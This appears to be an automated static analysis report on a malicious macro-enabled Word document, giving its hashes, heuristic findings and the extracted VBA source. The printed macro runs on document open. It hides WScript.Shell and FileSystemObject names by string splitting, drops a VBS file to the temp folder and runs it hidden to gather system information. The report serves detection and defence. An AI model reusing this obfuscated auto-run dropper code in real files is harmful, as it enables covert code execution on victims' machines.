Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 65e44ad6714ff21d…

MALICIOUS

Office (OOXML) / .DOCX

17.9 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-29
MD5: a3149677d0e6c3ffaad128ecc7540b95 SHA-1: 59190272ab99ee447e344aa8a6572ffec76cf711 SHA-256: 65e44ad6714ff21dd9b694b234ec88faccb2304b48380c7ae8ec1959b0ec0e29
190 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        vbsCode = "Set" & " " & "shell" & " " & "=" & " " & "CreateObject" & "(" & Chr(34) & "WSc" & "ript" & ".Sh" & "ell" & Chr(34) & ")" & vbCrLf
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1857 bytes
SHA-256: 5a845bddbd739ae67b59a657e864a09bb6c7e5aeaad168045a7f2df78ac7af1c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Dim tempFolder As String
    Dim vbsPath As String
    Dim vbsCode As String
    
    ' Create the VBS script code
    vbsCode = "Set" & " " & "shell" & " " & "=" & " " & "CreateObject" & "(" & Chr(34) & "WSc" & "ript" & ".Sh" & "ell" & Chr(34) & ")" & vbCrLf
    vbsCode = vbsCode & "Set" & " " & "exec" & " " & "=" & " " & "shell" & ".E" & "x" & "e" & "c" & "(" & Chr(34) & "wm" & "ic" & " " & "os" & " " & "g" & "e" & "t" & " " & "c" & "a" & "p" & "t" & "i" & "o" & "n" & "," & " " & "o" & "s" & "a" & "r" & "c" & "h" & "i" & "t" & "e" & "c" & "t" & "u" & "r" & "e" & "," & " " & "c" & "s" & "n" & "a" & "m" & "e" & Chr(34) & ")" & vbCrLf
    vbsCode = vbsCode & "o" & "u" & "t" & "p" & "u" & "t" & " " & "=" & " " & "exec" & ".S" & "t" & "d" & "O" & "u" & "t" & ".R" & "e" & "a" & "d" & "A" & "l" & "l" & vbCrLf
    
    ' Write the VBS script to disk
    Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
    tempFolder = shell.ExpandEnvironmentStrings("%T" & "EMP%")
    vbsPath = tempFolder & "\" & "t" & "e" & "m" & "p" & "_s" & "c" & "r" & "i" & "p" & "t" & ".v" & "b" & "s"
    Set fs = CreateObject("Sc" & "ri" & "pt" & "i" & "n" & "g" & ".F" & "i" & "l" & "e" & "S" & "y" & "s" & "t" & "e" & "m" & "O" & "b" & "j" & "e" & "c" & "t")
    Set ts = fs.CreateTextFile(vbsPath, True)
    ts.Write vbsCode
    ts.Close
    
    ' Execute the VBS script
    shell.Run "w" & "s" & "c" & "r" & "i" & "p" & "t" & ".e" & "x" & "e" & " " & Chr(34) & vbsPath & Chr(34), 0, True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 72d578b39b8fcf1ea66c09a4f06e27f68d98b35205cbf3ac68a754d0ae393505

Open this report in the interactive analyzer, or submit your own file for analysis.